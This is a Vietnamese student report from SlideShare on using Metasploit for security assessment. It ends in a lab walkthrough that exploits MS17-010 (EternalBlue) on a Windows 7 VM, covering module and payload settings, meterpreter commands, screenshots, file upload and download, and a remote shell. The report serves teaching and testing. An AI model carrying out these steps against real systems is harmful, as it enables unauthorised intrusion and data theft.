SlideShare a Scribd company logo
1 of 30
Download to read offline
BÁO CÁO
ĐÁNH GIÁ VÀ KIỂM ĐỊNH AN TOÀN HỆ THỐNG
THÔNG TIN
ĐỀ TÀI: SỬ DỤNG METASPLOIT TRONG ĐÁNH GIÁ AN
TOÀN HỆ THỐNG THÔNG TIN
Giáo viên hướng dẫn:
Hà Nội, tháng 07 năm 2020
1
MỤC LỤC
2
DANH MỤC HÌNH VẼ VÀ BẢNG BIỂU
3
LỜI MỞ ĐẦU
Hiện nay vấn đề về mất an toàn thông tin trên các hệ thống thông tin, hệ thống mạng và
không gian mạng được quan tâm rất lớn trên toàn thế giới. Trong những năm gần đây
chúng ta đã chứng kiến những cuộc tấn công mạng, sự cố mạng quy mô cực kì lớn, các
tin tặc đã lợi dụng các lỗ hổng trong hệ thống để đánh cắp dữ liệu mật hay trực tiếp tống
tiền trên quy mô toàn cầu. Do đó để giúp hệ thống tránh khỏi các nguy cơ liên quan đến
bảo mật, đồng thời giúp các nhà phát triển khắc phục những vấn đề còn tồn đọng trong
thiết kế thì phương pháp kiểm thử an ninh được áp dụng và sử dụng phổ biến nhất.
Để thực hiện kiểm thử một cách tốt nhất đem lại kết quả cao nhất thì rất nhiều bộ công
cụ hay phần mềm hỗ trợ và thực thi kiểm thử được ra đời. Hiện nay nổi bật nhất phổ biến
nhất được hầu hết các chuyên gia bảo mật đánh giá cao và sử dụng chính là Metasploit.
Công cụ này cung cấp cho ta các chức năng để do thám kiểm tra và tấn công các lỗ hổng
của hệ thống máy tính hoặc xâm nhập vào các hệ thống từ xa. Metasploit hiện nay đã
phát triển ra nhiều phiên bản khác nhau, với phiên bản cao cấp nhất là Metasploit Pro
đem lại cho ngƣời dùng tất cả các tính năng tốt nhất nhƣ tính tự động, giao diện thân
thiện, tạo báo cáo ... phục vụ cho việc kiểm thử an ninh. Tuy nhiên để sử dụng phiên bản
này thì bạn phải trả chi phí hàng năm rất lớn (khoảng 7000$- 8000$/ năm). Ngoài ra còn
có phiên bản Metasploit Framework, đây là phiên bản miễn phí mã nguồn mở với các
chức năng chính tập trung vào các Module tấn công, giao diện dòng lệnh kém thân thiện
với người dùng, không có tính năng tự động, các bước làm đều phải làm thủ công ...
Chính vì vậy tôi sẽ phát triển mở rộng thêm tính năng tạo báo cáo về kết quả của các
phiên kiểm thử an ninh theo định dạng PDF và HTML cho phiên bản miễn phí này, vốn
là một tính năng chỉ có trong phiên bản thương mại đắt tiền nhất của Metasploit Pro.Với
tính năng tạo báo cáo được thêm vào sẽ giúp ta có thể so sánh phân tích đánh giá về các
lỗ hổng hay khám phá ra những mối đe dọa tiềm ẩn khác để ra một sản phẩm bảo mật an
ninh tích hợp hơn mạnh mẽ hơn.
Nội dung báo cáo gồm 3 chương:
Chương 1: Tổng quan về đánh giá an toàn hệ thống thông tin
Chương này cung cấp khái niệm cơ bản về đánh giá, tầm quan trọng của đánh giá và
phương pháp luận đánh giá an toàn hệ thống thông tin.
Chương 2: Sử dụng Metasploit trong đánh giá an toàn hệ thống thông tin
Chương này cung cấp các kiến thức cơ bản về Metasploit. Tập trung phân tích Metasploit
Framework để tiến hành thực nghiệm khai thác lỗ hổng.
Chương 3: Thực nghiệm khai thác lỗ hổng MS17-010 bằng Metasploit Framework
Thực hiện khai thác lỗ hổng MS17-010 trên hệ điều hành Windows 7 64 bit.
Báo cáo được viết lần đầu tiên và trong thời gian ngắn, do đó có thể sẽ còn nhiều
khiếm khuyết về nội dung cũng như phương pháp thực hiện. Chúng em rất mong nhận
được những ý kiến đóng góp của thầy và các bạn để tiếp tục hoàn thiện báo cáo tốt hơn.
4
Chương 1: TỔNG QUAN VỀ ĐÁNH GIÁ AN TOÀN HỆ THỐNG
THÔNG TIN
1.1. Khái niệm đánh giá an toàn hệ thống thông tin
Theo Viện tiêu chuẩn quốc gia và công nghệ, đánh giá an toàn hệ thống thông tin
(Information Security Assessment) là quy trình xác định tính hiệu quả của một thực thể
được đánh giá (ví dụ: máy tính, hệ thống, mạng, quy trình vận hành, con người, …) đáp
ứng các mục tiêu an ninh cụ thể. Quy trình này tập trung vào 3 phương pháp chính: kiểm
thử (testing), kiểm tra (examination) và phỏng vấn (interviewing). Kiểm thử là thực hiện
giám định một hoặc nhiều đối tượng theo điều kiện quy định để so sánh kết quả thực tế
với dự kiến. Kiểm tra là quá trình xem xét, quan sát hoặc phân tích để làm rõ, khẳng định
và lấy bằng chứng. Phỏng vấn là tiến hành các cuộc thảo luận với các cá nhân hoặc các
nhóm trong một tổ chức để tìm hiểu, xác định vị trí của các đối tượng liên quan tới an
toàn thông tin. Kết quả của quá trình đánh giá được sử dụng đễ hỗ trợ trong việc đưa ra
các biện pháp kiểm soát hệ thống mạng một cách hiệu quả nhất.
Theo SANS, đánh giá an toàn hệ thống thông tin là thước đo độ an toàn của hệ thống
hoặc tổ chức, hay còn hiểu là cách thức thực hiện an toàn thông tin. Đánh giá an toàn là
đánh giá dựa trên việc xác định các rủi ro, trong đó tập trung vào xác định điểm yếu và
các tác động tới hệ thống. Đánh giá an toàn dựa trên 3 phương pháp chính, có liên quan
đến nhau là: rà soát (reviewing), kiểm tra (examination) và kiểm thử (testing). Sự kết hợp
của 3 2 phương pháp này có thể đánh giá chính xác các yếu tố về công nghệ, con người
và quy trình xử lý an ninh của một hệ thống mạng. Trong đó:
Phương pháp rà soát (Reviewing Method):
Phương pháp rà soát bao gồm các kỹ thuật xem xét thụ động và thực hiện phỏng vấn,
thường được thực hiện thủ công. Chúng giúp cho việc đánh giá các hệ thống, ứng dụng,
mạng, chính sách và các quy trình xử lý để phát hiện các điểm yếu trong hệ thống. Những
công việc cần thực hiện chủ yếu là xem xét lại tài liệu, kiến trúc, tập hợp quy tắc và cấu
hình hệ thống. Phương pháp này cho phép người đánh giá có một cái nhìn sơ lược về
mức độ, các thông tin quan trọng trong hệ thống và nhu cầu đảm bảo an ninh mà hệ thống
hướng tới.
Phương pháp kiểm tra (Examination Method):
Kiểm tra là quy trình xem xét cụ thể tại tổ chức từ mức hệ thống/ mạng để xác định các
điểm yếu an ninh tồn tại trong hệ thống. Các công việc cụ thể như: phân tích tường lửa,
phân tích hệ thống phát hiện và ngăn chặn xâm nhập, phân tích các bộ định tuyến, ... Nó
cũng bao gồm việc dò quét điểm yếu trong các hệ thống mạng. Những thông tin thu đươc
từ phương pháp rà soát ở trên là nền tảng cho việc kiểm tra được thực hiện dễ dàng và
hiệu quả.
Phương pháp kiểm thử (Testing Method):
Kiểm thử (hay còn gọi là kiểm thử xâm nhập – penetration testing) là một quy trình trong
đó người kiểm thử đóng vai trò như kẻ tấn công thực hiện các phương pháp tìm kiếm lỗ
hổng bảo mật trong mạng để thực hiện xâm nhập tới hệ thống hoặc mạng. Các thông tin
5
từ quá trình rà soát, kiểm tra cũng góp phần rất quan trọng cho việc kiểm thử chính xác.
Hình 1.1 mô tả mối quan hệ giữa các phương pháp:
Hình 1.1. Phương pháp đánh giá an toàn hệ thống thông tin
1.2. Tầm quan trọng của đánh giá an toàn hệ thống thông tin
Việc thực hiện đánh giá an toàn nhằm xác định mức độ an ninh hiện tại của hệ thống
thông tin trong một tổ chức. Điều này cho phép tổ chức có một cái nhìn toàn diện về các
mối nguy hại tồn tại trong hệ thống mạng của mình; đồng thời có các giải pháp khắc
phục, cải tiến hệ thống thông tin tiếp cận tới các mục tiêu an ninh tổ chức đề ra và giảm
thiểu các rủi ro không đáng có. Dưới đây sẽ mô tả cụ thể hơn về các vấn đề an ninh tới hệ
thống mạng của tổ chức:
6
Hình 1.2. Mục tiêu an toàn của tổ chức
Đánh giá an toàn hệ thống thông tin cho phép trả lời các câu hỏi như sau:
 Các thông tin quan trọng là gì?
 Hệ thống thông tin đã triển khai các giải pháp đảm bảo an ninh nào?
 Tình hình an ninh thông tin hiện tại là như thế nào?
 Có cần thêm các biện pháp để đối phó với vấn đề đảm bảo an ninh thông tin hay
không?
+ Vấn đề nào cần ưu tiên trong lộ trình xử lý để đảm bảo an toàn thông tin một cách đầy
đủ?
Như vậy, khi thực hiện đánh giá an ninh các tổ chức không chỉ nắm được tình hình
chung về các khía cạnh an toàn trong hệ thống mạng của tổ chức mình mà còn xác định
được các thông tin quan trọng, ưu tiên để xử lý phù hợp nhằm đảm bảo xây dựng các giải
pháp an ninh một cách đầy đủ và thống nhất.
7
Chương 2. SỬ DỤNG METASPLOIT TRONG ĐÁNH GIÁ AN
TOÀN HỆ THỐNG THÔNG TIN
2.1. Khái niệm Metasploit
Metasploit hay còn có thể gọi là Metasploit Project là một dự án liên quan đến bảo
mật máy tính, cung cấp những thông tin về các lỗ hổng bảo mật. Đối tượng nhắm đến của
Metasploit chính là những quá trình tấn công xâm nhập kiểm thử (Penetration Testing) và
phát triển các hệ thống phát hiện xâm nhập (Intrusion Detection System – IDS)
Metasploit được tích hợp sẵn trong hệ điều hành Kali Linux. Nó cũng có thể được tải
xuống từ địa chỉ web của nhà phát triển: https://www.rapid7.com/products/metasploit/.
2.2. Lịch sử ra đời và phát triển
Metasploit ra đời vào năm 2003 bởi tác giả H. D. Moore được viết trên nền tảng ngôn
ngữ Perl sau này là Ruby, ban đầu nó được xem như là các công cụ dạng Portable dành
cho mạng máy tính. Mãi cho đến ngày 21 tháng 09 năm 2009, Metasploit đã được mua
lại bởi Rapid7, một công ty bảo mật chuyên cung cấp những giải pháp về quản lý lỗ
hổng. Cũng giống như những sản phẩm thương mại “Canvas” của Immunity, “Core
Impact” của Core Security Technologies. Metsploit cũng được sử dụng để kiểm tra lỗ
hổng bảo mật của những hệ thống máy tính hoặc xâm nhập vào những hệ thống từ xa.
Metasploit có thể được dùng vào các hoạt động hợp pháp hoặc không hợp pháp, nó
dần trở nên nổi tiếng và được biết đến như là một Framework cho việc phát triển những
module khai thác, tấn công lỗ hổng bảo mật. Mỗi một Module được phát triển từ bên thứ
ba (Third-Party) đều được đi kèm với những khuyến cáo để nhằm nêu bật được khả năng
khai thác, mức độ rủi ro và cách khắc phục lỗ hổng chứ không chỉ tập trung vào khai thác
lỗ hổng. Từ phiên bản Metasploit 3.0 được tích hợp thêm những công cụ giúp phát hiện
các lỗi bảo mật trong phần mềm. Vào tháng 8 năm 2011 thì phiên bản Metasploit 4.0
được phát hành và được sử dụng cho đến nay, đặc biệt là có hỗ trợ trên rất nhiều các nền
tảng khác nhau như : Linux, Windows, Unix…vv
2.3. Các phiên bản Metasploit
Hiện nay trải qua một thời gian dài sừa đổi và phát triển thì Metasploit có những
phiên bản sau:
Metasploit Community Edition
Vào tháng 10 năm 2011 thì Rapid7 phát hành Metasploit Community Edition, một phiên
bản miễn phí, có giao diện web cho người dùng. Phiên bản này được phát triển dựa vào
những tính năng của phiên bản có trả phí, chỉ có điều phiên bản này đã bị bỏ đi một số
tính năng “network discovery/ module browsing/manual exploitation”. Phiên bản này phù
hợp với các công ty nhỏ và sinh viên.
8
Hình 2.1. Giao diện Metasploit Community Edition
Metasploit Pro
Tháng 10 năm 2010, Rapid7 đã phát hành Metasploit Pro, một phiên bản thương mại. Có
thể nói đây là một phiên bản mạnh mẽ nhất của Metasploit, nó bao gồm tất cả các tính
năng của Metasploit Express và phát triển thêm các tính năng ưu việt khác như “Quick
Start Wizards/MetaModules” , xây dựng và quản lý những hoạt động tấn công sử dụng kỹ
nghệ xã hội (Social Engineering), kiểm thử ứng dụng Web, tạo các Payload một cách tự
động để tránh sự phát hiện của các phần mềm Anti-Virus, tích hợp cả công cụ mạnh mẽ
Nexpose cho việc quét lỗ hổng trên mạng, sử dụng kỹ thuật “VPN pivoting”. Và có một
điểm khác biệt nữa là phiên bản Pro hỗ trợ cả chế độ dòng lệnh và giao diện người dùng.
Phiên bản này hiện tại thì có giá cao nhất so với các phiên bản khác, phù hợp cho những
người thực hiện kiểm thử xâm nhập, những nhóm bảo mật.
Hình 2.2. Giao diện Metasploit Pro
Metsploit Framework
Trái ngược hoàn toàn với các phiên bản khác của Metasploit thì Metasploit
Framework chỉ có duy nhất một chế độ giao diện dòng lệnh, mọi thao tác đều thông qua
dòng lệnh. Có một điều đặc biệt thì đây là phiên bản mã nguồn mở và hoàn toàn miễn
phí, rất phù hợp cho việc phát triển và nghiên cứu. Nhược điểm của phiên bản này là hầu
9
như chỉ có một số tính năng cơ bản, không được cập nhật như những phiên bản khác.
Chính vì vậy việc phát triển, tích hợp các tính năng mới vào Metasploit Framework là rất
cần thiết, phù hợp với những nhu cầu, nhiệm vụ khi mà có giới hạn về mặt chi phí. Tuy
có nhiều hạn chế về những tính năng ưu việt thì phiên bản này có thể coi là công cụ
không thể thiếu của những nhà nghiên cứu bảo mật chuyên nghiệp, những người kiểm
thử xâm nhập và được giới Hacker rất ưa chuộng.
Hình 2.3. Giao diện Metasploit Framework
2.4. Metasploit Framework
2.4.1. Tính năng và các thành phần của Metasploit Framework
Tính năng
 Quét cổng để xác định các dich vụ đang hoat động trên server
 Xác định các lỗ hổng dựa trên phiên bản hệ điều hành và phiên bản các phần
mềm cài đặt trên hệ điều hành đó
 Thử nghiệm khai thác lỗ hổng đã được xác định
Thành phần:
Metasploit hỗ trợ nhiều giao diện với người dùng:
 Console interface: Dùng msfconsole.bat. Msfconsole interface sử dụng các
dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn
 Web interface: Dùng msfweb.bat, giao tiếp với người dùng thông qua giao
diện web
 Command line interface: Dùng msfcli.bat
Environment:
10
 Global Environment: Được thực thi thông qua 2 câu lệnh setg và unsetg,
những options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các
module exploits.
 Temporary Environment: Được thực thi thông qua 2 câu lệnh set và unset,
environment này chỉ được đưa vào module exploit đang load hiện tại, không
ảnh hưởng đến các module exploit khác.
Bạn có thể lưu lại environment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ
được lưu trong /.msf/config và sẽ được load trở lại khi user interface được thực hiện.
Những options nào mà chung giữa các exploits module như là: LPORT, LHOST,
PAYLOAD thì bạn nên được xác định ở Global Environment.
Ví dụ:
Msf5> set LORT 80
Msf5> set LHOST 192.168.1.12
Một số câu lệnh cơ bản:
- Back: lệnh này dùng khi bạn muốn thoát ra khỏi module bạn đã chọn trước đó sau khi
hoàn thành công việc hoặc muốn chuyển sang công viêc khác.
Ví dụ: msf payload(reverse http) > back
Msf>
- Check: lệnh này giúp ta kiểm tra đã cấu hình đúng cho khai thác chưa, mọi việc đã
hoàn thành chưa. Cho ta biết kết quả mà không cần phải thưc thi khai thác đó. Nhưng
không phải tất cả mọi mã khai thác đều hỗ trợ lệnh này.
- Connect: lênh này giống như môt bản netcat thu nhỏ được cho vào metasploit được
hỗ trợ với ssl, proxy, pivoting… Với việc dùng câu lệnh connect với địa chỉ IP và Port
tương ứng, chúng ta có thể connect tới một host từ metasploit giống như khi dùng với
netcat hoặc telnet vậy.
Ví dụ: msf> connect 188.69.228.254 22
- Info: lệnh này cho biết những thông tin chi tiết của một module hay một mã khai thác
nào đó. Hiển thị cho ta thông tin cơ bản nhất, bao gồm cả các tùy chọn cần thiết.
- Irb: lệnh này cho ta biết các module đang chạy.
- Load: Lênh này để load một plugin từ metasploit plugins.
- Search: lệnh này giúp ta tìm kiếm exploit, auxiliary, encoder. Trong đó nó còn hỗ trợ
một số keyword giúp cải tiến khả năng tìm kiếm như: name, path, platform, port, type,
app, author, cve, bid, osvdb, edb.
Ví dụ: search cve:2099 type:exploit app:client
11
- Session: lênh này liệt kê các session đang tồn tại, session này có thể là session của
shell, của meterpreter……
- Set – unset: lệnh này cho phép ta cấu hình cho các exploit… lệnh này gặp thường
xuyên. Unset là lệnh có ý nghĩa ngược lại.
- Setg – unsetg: trong quá trình thực hiện tấn công một mục tiêu, hoặc nhiều mục tiêu.
Ta có thể dùng một exploit hoặc đôi khi là nhiều exploit. Có một vài option nết set
bình thường thì ta phải set nhiều lần. Nhưng nếu ta để choc ac option này có ý nghĩa
toàn cục. Thì việc lặp lại là không cần. Nó có hiệu lực cho mọi exploit, auxiliary. Đó
là ý nghĩa của setg (global set). Để hủy thì ta dùng unsetg. Nếu muốn lưu việc cấu
hình này lại thì dùng lệnh “save”.
- Show: liệt kê các module hiện tại.
- Use: cho phép chon một module.
- Auxiliary: là một module cung cấp chức năng tăng cường cho các thử nghiệm xâm
nhập và quét lổ hổng cùng với các tác vụ tự động. Phân loại trong auxiliary module:
module quét các giao thức (như SMB, HTTP), module quét các Port, wireless, IPV6,
DOS, Server modules, Module khai thác truy cập quản trị.
- Exploits: là một module dùng để khai thác các dịch vụ.
- Payloads: ta có thể hiểu đơn giản nó là một đoạn code thưc thi trên máy nạn nhân,
dùng để thực hiện một số hoạt động nào đó, hoặc dùng để kết nối về máy của người
tấn công. Có 2 phương pháp chủ yếu được dùng. Đó là gửi cho nạn nhân thông qua
việc phân tích một lỗi, lỗ hổng nào đó trên hệ thống của nạn nhân, từ đó đột nhập và
gửi đoan payload này cho nạn nhân. Kiểu thứ 2 là gửi trưc tiếp cho nạn nhân, chờ đợi
nạn nhân sơ ý nhận nó- đây gọi là kỹ thuật social engineering.
- Target: cung cấp các danh sách các mục tiêu phù hợp với module khai thác mà bạn
chọn.
2.4.2. Sử dụng Metasploit Framework
a. Payload meterpreter
Meterpreter, viết tắt từ Meta-Interpreter là một advanced payload có trong
Metasploit framework. Muc đích của nó là để cung cấp những tập lệnh để khai thác, tấn
câng các máy remote computers. Nó được viết từ các developers dưới dạng shared object
(DLL) files. Meterpreter và các thành phần mở rộng được thực thi trong bộ nhớ, hoàn
toàn không được ghi lên đĩa nên có thể tránh được sự phát hiện từ các phần mềm chống
12
virus. Meterpreter cung cấp một tập lệnh để chúng ta có thể khai thác trên các remote
computer:
 Fs: Cho phép upload và download files từ các remote machine
 Net: Cho phép xem thông tin mạng của remote machine như IP, route table
 Process: Cho phép tạo các processes mới trên remote machine
 Sys: Cho phép xem thông tin hệ thống của remote machine
Sử dụng câu lệnh:
 use -m module1,module2,module3 [ -p path ] [ -d ]: Câu lệnh use dùng để load
những module mở rộng của meterpreter như: Fs, Net, Process.
 loadlib -f library [ -t target ] [ -lde ]: Câu lệnh cho phép load các thư viện của remote
machines.
 read channel_id [length]: Lệnh read cho phép xem dữ liêu của remote machine trên
channel đang kết nối.
 write channel_id: Lệnh write cho phép ghi dữ liệu lên remote machine.
 close channel_id: Đóng channel mà đã kết nối với remote computer.
 interact channel_id: Bắt đầu một phiên làm việc với channel vừa thiết lập với
remote machine.
 initcrypt cipher [parameters]: Mã hoá dữ liệu được gửi giữa host và remote
machine.
Sử dụng module Fs:
Cho phép upload và download files từ các remote machine.
 cd directory: Giống lệnh cd của command line
 getcwd: Cho biết thư mục đang làm việc hiện tại
 ls [filter_string]: liệt kê các thư mục và tập tin
 upload src1 [src2 ...] dst: Upload file
 download src1 [src2 ...] dst: Download file
Sử dụng module Net:
 ipconfig
 route: Xem bảng định tuyến của remote machine.
 portfwd [ -arv ] [ -L laddr ] [ -l lport ] [ -h rhost ] [ -p rport ] [ -P ]: Cho phép tạo
port forward giữa host và remote machine.
Sử dụng module Process:
 execute -f file [ -a args ] [ -Hc ]: Câu lệnh execute cho phép bạn tạo ra một process
mới trên remote machine và sử dụng process đó để khai thác dữ liệu
 kill pid1 pid2 pid3: Huỷ những process đang chạy trên máy remote machine
 ps: Liệt kê những process của remote machine.
13
Sử dụng module Sys:
 getuid: Cho biết username hiện tại của remote machine
 sysinfo: Cho biết thông tin về tên máy tính, hệ điều hành.
Ví dụ:
Msf>use Lsass_ms04_011
Msf>set PAYLOAD win32_reverse_meterpreter
Msf>set RHOST 192.168.1.2
Msf>set LHOST 192.168.1.1
Msf>exploit
Meterpreter> help
Meterpreter>use -m P //add thêm tập lệnh của process
Meterpreter>help< // xem các lệnh meterpreter hỗ trợ
Meterpreter>ps // list các process mà remote machine đang chạy
Meterpreter>kill // tắt các process mà remote machine đang chạy
Meterpreter> // tấn công sử dụng comandline cmd của remote machine
execute: success, process id is 3516.
execute: allocated channel 1 for new process.
meterpreter> interact 1
interact: Switching to interactive console on 1...
interact: Started interactive channel 1.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWS>echo Meterpreter interactive channel in action
echo Meterpreter interactive channel in action
Meterpreter interactive channel in action
C:WINDOWS>ipconfig
Caught Ctrl-C, close interactive session? [y/N] y
meterpreter>
2.4.3. Quy trình khai thác mục tiêu
14
a. Chon module exploit:
Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có hỗ trợ để khai thác.
 show exploits: Xem các module exploit mà framework có hỗ trợ
 use exploit_name: Chọn module exploit
 info exploit_name: Xem thông tin về module exploit
Bạn nên cập nhật thường xuyên các lỗi dịch vụ trên metasploit.com hoặc qua script
msfupdate.bat
b. Cấu hình module exploit đã chọn:
 Show options: Xác định những options nào cần cấu hình
 Set: cấu hình cho những option của module đó
Một vài module còn có những advanced options, bạn có thể xem bằng cách gõ dòng lệnh
show advanceds
c. Xác nhận những option vừa cấu hình:
 Check: kiểm tra xem những option đã được set chính xác chưa.
d. Lựa chọn mục tiêu:
Lựa chọn hệ điều hành muốn thực hiện.
 Show targets: những target được cung cấp bởi module đó.
 Set: xác định target nào
Ví dụ:
msf> use windows_ssl_pct
show targets
Exploit sẽ liệt kê ra những target như: winxp, winxp SP1, win2000….
e. Lựa chọn payload:
Payload là đoạn code mà sẽ chạy trên hệ thống máy tính được điều khiển từ xa.
 show payloads: Liệt kê ra những payload của module exploit hiện tại
 info payload_name: Xem thông tin chi tiết về payload đó
 set PAYLOAD payload_name: Xác định payload module name.Sau khi lựa chọn
payload nào, dùng lệnh show option để xem những option của payload đó
 show advanced: Xem những advanced option của payload đó.
f. Thực thi exploit:
 Exploit: Lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho bạn
những thông tin về hệ thống được khai thác.
15
Chương 3. THỰC NGHIỆM KHAI THÁC LỖ HỔNG MS17-010
BẰNG METASPLOIT FRAMEWORK
3.1. Giới thiệu về lỗ hổng MS17-010
Lỗ hổng MS17-010 hay còn được biết đến với cái tên EternalBlue là một điểm yếu trong
giao thức SMBv1(Server Message Block) của hệ điều hành Windows, giúp hacker khai
thác thông tin hoặc chiếm quyền điều khiển máy tính nạn nhân.
Lỗ hổng MS17-010 là một lỗ hổng buffer overflow. Lợi dụng lỗ hổng này, hacker sẽ gửi
các gói tin đặc biệt gây ra tràn bộ đệm và khiến máy tính nạn nhân thực thi các lệnh, mã
độc của hacker.
Phiên bản bị ảnh hưởng:
– Người dùng cá nhân: Windows XP, 7, 8, 8.1, 10
– Máy chủ: Windows Server 2003, 2008, 2012, 2016
3.2. Bài toán áp dụng
3.2.1. Kịch bản tấn công
Nạn nhân sử dụng hệ điều hành Windows 7 64 bit chưa được cập nhập vá lỗ hổng ms17-
010. Có sử dụng dịch vụ SMBv1 trên cổng 445
Hacker sử dụng hệ điều hành Kali Linux đã được cập nhật đầy đủ bản mới nhất các công
cụ khai thác lỗ hổng trong máy.
Máy nạn nhân sử dụng địa chỉ IP 192.168.1.113/24
Máy tấn công sử dụng địa chỉ IP 192.168.1.12/24
Chú ý: Nếu đang sử dụng Windows, hãy tắt phần mềm chống vi-rút và firewall vì
Metasploit sẽ được firewall xác định như một virus xâm nhập. Trong trường hợp sử dụng
Metasploit trên môi trường máy ảo, hãy đảm bảo rằng kết nối mạng được liên kết với
mạng bên ngoài. Metasploit sẽ tìm và quét tất cả những gì được yêu cầu trên mạng của
chúng ta và cả những người khác, do đó, metasploit cần được phép truy cập chính xác
vào đúng mạng.
Máy tấn công cũng cần phải nằm trong cùng mạng nội bộ với máy nạn nhân.
3.2.2. Sử dụng Metasploit Framework để khai thác lỗ hổng ms17-010
 Trước tiên ta sẽ thiết lập địa chỉ IP trên 2 máy tấn công và máy của nạn nhân
16
Hình 3.1. Cấu hình địa chỉ IP trên máy tấn công
Hình 3.2. Cấu hình địa chỉ IP trên máy nạn nhân
Hình 3.3. Kiểm tra kết nối giữa máy tấn công và máy nạn nhân
 Thực hiện xác định host, cổng và các dịch vụ trong mạng cần khai thác
17
Các thông tin cần thu thập như các host đang sống, cổng đang mở, nhận diện hệ điều
hành và kiến trúc hệ thống, các dịch vụ đang chạy và các nguy cơ an ninh (vulnerability)
của các host đó.
Ở đây chúng ta sẽ tiến hành khai thác lỗ hổng thông qua cổng 445
Hình 3.4. Xác định host, cổng và các dịch vụ trong máy nạn nhân
 Tạo database
Hình 3.5. Tạo database
 Triển khai giao thức Metasploit
Khởi động Metasploit bằng lệnh msfconsole
18
Hình 3.6. Giao diện Metasploit Framework
 Tìm kiếm lỗ hổng MS17-010
Mỗi một lỗ hổng bảo mật được định nghĩa trong Metasploit thường có 2 module, một
là cái auxiliary để quét xem máy nạn nhân có chứa lỗ hổng này không, hai là exploit
để khai thác điều đó.
Ta tiến hành tìm kiếm lỗ hổng MS17-010 trên máy nạn nhân thông qua câu lệnh:
search eternalblue
19
Hình 3.7. Phát hiện tồn tại lỗ hổng ms17-010
 Tiến hành khai thác lỗ hổng
Gõ lệnh use [đường dẫn module] :
msf5> use exploit/windows/smb/ms17_010_eternalblue
Gõ tiếp lệnh show options và show payloads để xem các thông tin và tuỳ chọn của nó.
Hình 3.8. Xác định những options cần cấu hình
Hãy chú ý vào Exploit target, lựa chọn nền tảng hệ điều hành của máy nạn nhân mà ta
nhắm tới. Ở đây module này chỉ nhắm tới win7 và win server 2008, mặc định mã id
target là 0. Nếu có nhiều lựa chọn target hơn, hãy set target [mã_id] để chọn nền tảng
nhắm vào.
Xem các giá trị ở cột Current Setting, ta sẽ biết thiếu hay cần thay đổi cái nào theo cú
pháp set [tên_option] [giá_trị].
Như ở hình trên, thiếu giá trị cho RHOSTS, đó là địa chỉ IP của máy nạn nhân, hay
ProcessName, tên tiến trình trên máy nạn nhân mà ta gài payload vào, ta có thể đổi tên
khác cũng được, hay RPORT là port (cổng) mà ta muốn mở trên máy nạn nhân, ta có thể
đổi cổng khác hoặc giữ mặc định.
Lưu ý ở cột Required, giá trị Yes tức là bắt buộc phải có.
20
Hình 3.9. Danh sách những payload của module exploit hiện tại
 Cài đặt các thông số cần thiết
LHOST: local host, là địa chỉ ip của máy hacker.
LPORT: cổng để Metasploit lắng nghe tín hiệu gửi về.
RHOST: remote host, là địa chỉ ip của máy nạn nhân.
RPORT: mã độc sẽ phát tín hiệu qua cổng này trên máy nạn nhân (LPORT và RPORT
không nhất thiết phải giống nhau).
Sau khi đã cài đặt xong, ta gõ lệnh show options để kiểm tra lại
21
Hình 3.10. Kiểm tra cấu hình đã cài đặt
 Thực hiện tấn công
Gõ lệnh exploit để thực hiện tấn công. Nếu sau khi gõ exploit mà vài giây sau hiện
thông báo ConnectionTimeout có nghĩa là đã không thành công. Có thể máy nạn
nhân không tồn tại lỗ hổng đó, hoặc do đặt các tham số chưa đúng.
Nếu exploit thành công, bạn có thể can thiệp được vào máy nạn nhân với rất nhiều tuỳ
chọn. Sử dụng help để xem danh sách các lệnh trong meterpreter có kèm theo mô tả
ngắn.
22
Hình 3.11. Thực hiện tấn công vào máy nạn nhân thành công
Sau đó ta tiến hành kiểm tra sơ bộ thông tin về máy nạn nhân bằng lệnh sysinfo
Hình 3.12. Thông tin cơ bản của máy nạn nhân
23
Hình 3.13. Danh sách các tuỳ chọn tiến hành khai thác
 Thực hiện chụp lại màn hình máy nạn nhân
Sử dụng câu lệnh screenshot để chụp màn hình máy nạn nhân. Sau khi thực hiện xong,
ảnh sẽ được lưu vào đường dẫn: /root/wJttDpZB.jpg
24
Hình 3.14. Kết quả chụp lại màn hình máy nạn nhân
 Thực hiện upload file lên máy nạn nhân
Sử dụng câu lệnh
Upload [options] src1 src2 src3 ... destination
Hình 3.15. Kết quả upload file lên máy nạn nhân
 Sử dụng lệnh shell để chạy cmd trên máy nạn nhân. Và dùng lệnh dir để xem danh
sách file trên hệ thống máy nạn nhân
25
Hình 3.16. Danh sách file hệ thống trên máy nạn nhân
 Thực hiện download file xuống máy tấn công
Sử dụng câu lệnh: download [options] src1 src2 src3 ... destination
26
Hình 3.17. Kết quả download file xuống máy tấn công
Như hình trên file download được lưu với đường dẫn /root//kma.jpg
27
Hình 3.18. Kết quả download file xuống máy tấn công
28
KẾT LUẬN
Qua quá trình thực nghiệm ta có thể thấy Metasploit Framework đã thực hiện tốt các
chức năng của nó:
- Quét cổng để xác định các dịch vụ đang hoạt động trên server;
- Xác định các lỗ hổng dựa trên phiên bản của hệ điều hành và
phiên bản các phần mềm cài đặt trên hệ điều hành đó.
- Thử nghiệm khai thác các lỗ hổng đã được xác định.
Để tránh bị hacker tấn công vào máy tính, chúng ta cần thường xuyên cập nhật các bản vá
lỗi của Microsoft. Hạn chế sử dụng các kết nối mạng ở nơi công cộng.
29
TÀI LIỆU THAM KHẢO
Giáo trình đánh giá và kiểm định an toàn hệ thống thông tin 2016, TS. Lương Thế Dũng,
ThS. Phạm Minh Tuấn - Học viện Kỹ thuật Mật mã
https://metasploit.help.rapid7.com/docs/quick-start-guide
https://en.wikipedia.org/wiki/Metasploit_Project
30

More Related Content

Similar to su-dung-metasploit-trong-danh-gia-an-toan-he-thong-thong-tin-1cb57d7b6e7b09e2343e96eb164414c1-1691230336667.pdf

Tổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh QuýTổng kết Báo cáo thực tập Athena - Hoàng Thanh Quý
Tổng kết Báo cáo thực tập Athena - Hoàng Thanh QuýQuý Đồng Nast
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananhVũ Anh
 
Báo cáo lần 1
Báo cáo lần 1Báo cáo lần 1
Báo cáo lần 1Anhh Hữu
 
